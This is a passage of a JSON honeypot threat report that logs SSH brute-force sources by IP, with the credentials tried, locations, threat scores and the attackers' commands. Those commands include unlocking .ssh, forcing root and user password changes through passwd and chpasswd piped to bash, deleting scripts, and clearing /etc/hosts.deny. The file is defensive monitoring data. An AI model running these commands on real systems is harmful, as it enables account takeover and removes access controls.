        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nydyMMHZ6B0AP\\nydyMMHZ6B0AP\\n\"|passwd",
        "echo \"123456\\n1sHMuEiNhCHe\\n1sHMuEiNhCHe\\n\"|passwd",
        "echo \"clawd@123\\n7wbz4Gy0VOfj\\n7wbz4Gy0VOfj\\n\"|passwd",
        "echo -e \"12345678\\nydyMMHZ6B0AP\\nydyMMHZ6B0AP\"|passwd|bash",
        "echo -e \"123456\\n1sHMuEiNhCHe\\n1sHMuEiNhCHe\"|passwd|bash",
        "echo -e \"clawd@123\\n7wbz4Gy0VOfj\\n7wbz4Gy0VOfj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:40:06.724000+00:00",
        "last_seen_30d": "2026-03-10T18:04:40.592000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "177.0.167.126": {
      "attack_count": 259,
      "first_seen": "2026-03-04T12:38:06.444Z",
      "last_seen": "2026-03-04T13:08:23.913Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029",
        "A12345678!",
        "Abc$123",
        "Bingo@1993",
        "Changeme_123",
        "Dz123456",
        "Zz123456",
        "ansible@123",
        "felix123",
        "hakunamatata",
        "qq"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0E0Erd923r40\"|chpasswd|bash",
        "echo \"root:FQOa4r3cI7Y7\"|chpasswd|bash",
        "echo \"root:JkdIHf8Fty2z\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ponta Grossa",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:38:06.444000+00:00",
        "last_seen_30d": "2026-03-04T13:09:31.951000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "152.32.132.215": {
      "attack_count": 238,
      "first_seen": "2026-03-07T09:05:54.979Z",
      "last_seen": "2026-03-22T21:43:27.343Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ben",
        "frank",
        "root",
        "chat",
        "elearn",
        "erwin",
        "ethan",
        "fox",
        "javier",
        "kafka",
        "ken",
        "linode",
        "mobiquity",
        "omar",
        "su",
        "testme",
        "ts3",
        "vnc",
        "wpuser"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Chat123!",
        "Ethan123!",
        "Ken123",
        "Welcome2026!",
        "aaaaaa",
        "benpass",
        "elearn123",
        "erwin123",
        "frank",
        "password",
        "testme1234",
        "vnc123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"benpass\\ntKawfVUfaJbO\\ntKawfVUfaJbO\\n\"|passwd",
        "echo \"frank\\n65TOfcNwgDGn\\n65TOfcNwgDGn\\n\"|passwd",
        "echo -e \"benpass\\ntKawfVUfaJbO\\ntKawfVUfaJbO\"|passwd|bash",
        "echo -e \"frank\\n65TOfcNwgDGn\\n65TOfcNwgDGn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:05:54.979000+00:00",
        "last_seen_30d": "2026-03-22T21:44:28.922000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "116.71.136.125": {
      "attack_count": 192,
      "first_seen": "2026-03-06T06:51:04.052Z",
      "last_seen": "2026-03-06T07:18:37.420Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cs",
        "andy",
        "appserver",
        "bryan",
        "syncuser"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "@qwer2025",
        "Asdfg123456",
        "Mouse2025",
        "QWEasd!@#123",
        "admin99",
        "andy1234",
        "pass",
        "syncuser1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\naSjDDhs3ttXY\\naSjDDhs3ttXY\\n\"|passwd",
        "echo \"root:ongd6pFYGhrY\"|chpasswd|bash",
        "echo -e \"1234\\naSjDDhs3ttXY\\naSjDDhs3ttXY\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Dera Ismail Khan",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:51:04.052000+00:00",
        "last_seen_30d": "2026-03-06T07:19:39.859000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 35
      }
    },
    "14.63.198.239": {
      "attack_count": 188,
      "first_seen": "2026-03-19T08:27:16.105Z",
      "last_seen": "2026-03-19T08:52:35.122Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frank",
        "tester",
        "den",
        "informix",
        "kannel",
        "shawn",
        "student4"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz!QAZ",
        "Qwe123..",
        "admin",
        "asdfghjkl",
        "den",
        "kannelpass",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\naMH8eBG5eFxc\\naMH8eBG5eFxc\\n\"|passwd",
        "echo \"admin\\nYyrJd3l8Bty8\\nYyrJd3l8Bty8\\n\"|passwd",
        "echo -e \"1234\\naMH8eBG5eFxc\\naMH8eBG5eFxc\"|passwd|bash",
        "echo -e \"admin\\nYyrJd3l8Bty8\\nYyrJd3l8Bty8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:27:16.105000+00:00",
        "last_seen_30d": "2026-03-19T08:53:37.308000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 33
      }
    },
    "109.228.18.139": {
      "attack_count": 186,
      "first_seen": "2026-03-02T02:58:01.520Z",
      "last_seen": "2026-03-02T03:16:48.141Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567812345678",
        "123456qq!",
        "ABCabc456",
        "Asd@12345",
        "Root@123..",
        "Welcome@12345",
        "Ww123456.",
        "bot",
        "qq.123",
        "root12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RVGNAZbh4q40\"|chpasswd|bash",
        "echo \"root:XxV9TEtTRRtu\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:58:01.520000+00:00",
        "last_seen_30d": "2026-03-02T03:17:55.068000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "138.124.20.112": {
      "attack_count": 146,
      "first_seen": "2026-03-02T23:16:15.998Z",
      "last_seen": "2026-03-02T23:44:48.584Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "123qazWSX",
        "Abc123abc",
        "Da123456",
        "Ds123456..",
        "P@ssw0rd12345!",
        "Qwer0987",
        "Server1234",
        "Ty112233",
        "me",
        "vicidial1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Yf9Jpe6AL3Zq\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:16:15.998000+00:00",
        "last_seen_30d": "2026-03-02T23:45:57.859000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 37
      }
    },
    "168.144.22.121": {
      "attack_count": 140,
      "first_seen": "2026-03-10T05:51:44.607Z",
      "last_seen": "2026-03-10T06:14:50.325Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "password",
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "qwerty",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:51:44.607000+00:00",
        "last_seen_30d": "2026-03-10T06:15:58.823000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 60
      }
    },
    "103.76.120.29": {
      "attack_count": 119,
      "first_seen": "2026-03-09T17:02:47.404Z",
      "last_seen": "2026-03-09T17:25:26.558Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "docker",
        "345gs5662d34",
        "iksi",
        "nginx",
        "project",
        "root",
        "sa",
        "simeon",
        "timemachine",
        "user01",
        "vncuser"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Aptx4869",
        "Password01",
        "dockerpass",
        "iksi1234",
        "sapass",
        "timemachinepass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dockerpass\\n5RGjs966pNNw\\n5RGjs966pNNw\\n\"|passwd",
        "echo -e \"dockerpass\\n5RGjs966pNNw\\n5RGjs966pNNw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:02:47.404000+00:00",
        "last_seen_30d": "2026-03-09T17:26:35.655000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "115.91.48.142": {
      "attack_count": 119,
      "first_seen": "2026-03-14T11:22:04.283Z",
      "last_seen": "2026-03-14T11:43:14.347Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "pul",
        "345gs5662d34",
        "atul",
        "bds",
        "cox",
        "gveddesign",
        "gzuser",
        "messagebus",
        "squid",
        "william",
        "www1"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "7777777",
        "atul",
        "bds",
        "cox",
        "gveddesign",
        "gzuser",
        "pul",
        "squid",
        "www1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"pul\\nocy70LtDPRvL\\nocy70LtDPRvL\\n\"|passwd",
        "echo -e \"pul\\nocy70LtDPRvL\\nocy70LtDPRvL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Anyang-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T11:22:04.283000+00:00",
        "last_seen_30d": "2026-03-14T11:44:15.635000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "5.181.124.62": {
      "attack_count": 119,
      "first_seen": "2026-03-08T23:25:40.474Z",
      "last_seen": "2026-03-08T23:49:00.461Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "vyos",
        "345gs5662d34",
        "ann",
        "backend",
        "deploy",
        "gns3",
        "hyun",
        "sammy",
        "sim",
        "team1",
        "zjsf"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Sim123!",
        "backend1234",
        "password",
        "sammy1234",
        "team1",
        "vyos123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vyos123!\\nEKANhTAWi0AR\\nEKANhTAWi0AR\\n\"|passwd",
        "echo -e \"vyos123!\\nEKANhTAWi0AR\\nEKANhTAWi0AR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:25:40.474000+00:00",
        "last_seen_30d": "2026-03-08T23:50:08.340000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "198.244.233.141": {
      "attack_count": 118,
      "first_seen": "2026-03-03T10:23:46.721Z",
      "last_seen": "2026-03-03T10:43:13.293Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bb123456789",
        "Qwerty12345!",
        "Ww123456!",
        "Yh@123456",
        "Zv@123",
        "abc12345",
        "admin2024",
        "david123",
        "q1w2e3r$",
        "wiki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:atT4Q91wuscF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:23:46.721000+00:00",
        "last_seen_30d": "2026-03-03T10:44:20.078000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "123.58.213.126": {
      "attack_count": 114,
      "first_seen": "2026-03-16T14:17:00.960Z",
      "last_seen": "2026-03-16T14:46:28.049Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "newadmin",
        "345gs5662d34",
        "bin",
        "dockeruser",
        "esadmin",
        "max",
        "mongodb",
        "openbravo",
        "testuser1",
        "ventas"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Max123",
        "Mongodb123",
        "Testuser1123!",
        "bin@123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
